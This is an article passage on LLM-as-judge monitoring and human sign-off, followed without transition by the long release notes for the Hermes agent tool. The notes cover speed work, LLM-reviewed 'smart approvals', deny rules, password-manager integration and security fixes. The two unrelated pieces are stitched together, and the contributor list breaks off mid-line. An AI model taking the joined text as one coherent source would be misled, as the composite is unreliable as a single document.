Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.

LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.

Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."

LLM-as-judge doesn't mean human-in-the-loop disappears

The bigger question is whether using LLM as a judge removes the need for a human in the loop.

Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.

"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."

Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level.

Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

• Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

• The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

• Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

• Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

• Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

• Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

• A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

• One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

• New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

• Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

• Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

• Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

• ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
• Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
• Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

• 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
• Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
• Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
• Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

• TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
• Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
• Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
• hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
• Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture

Providers & models

• Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
• DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
• GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
• grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
• Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
• GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
• Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
• Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
• Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
• kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
• Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

• max + ultra effort levels across every surface and route (#62650 — @teknium1)
• Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
• MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

• Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
• Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
• Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
• Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
• Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
• Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

• Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
• hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
• Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

• Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
• Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
• Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

• Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
• Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
• Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
• Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
• Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

• Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
• WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
• Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
• Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
• Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
• Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

• Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
• Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
• Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
• Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
• Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
• Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
• Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

• Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
• Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
• hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

• /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
• /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
• Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
• --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
• TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
• Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

• MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
• Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
• Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
• Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
• Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
• mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
• Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

• Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
• Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
• Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
• Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
• Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
• computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
• Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
• CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
• Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
• Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
• Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

• iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
• dynamic-workflow orchestration skill (landed, then reverted) — not shipping
• memory provider-actions extension point (landed, then reverted) — not shipping
• Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

• @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
• @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
• @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
• @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
• @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
• @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
• @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
• @austinpickett — desktop custom endpoint settings
• @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

• @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
• @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
• @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
• @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
• @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
• @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
• @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
• @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
• @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
• @vishal-dharm — Gemini request-context improvements
• @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
• @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
• Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
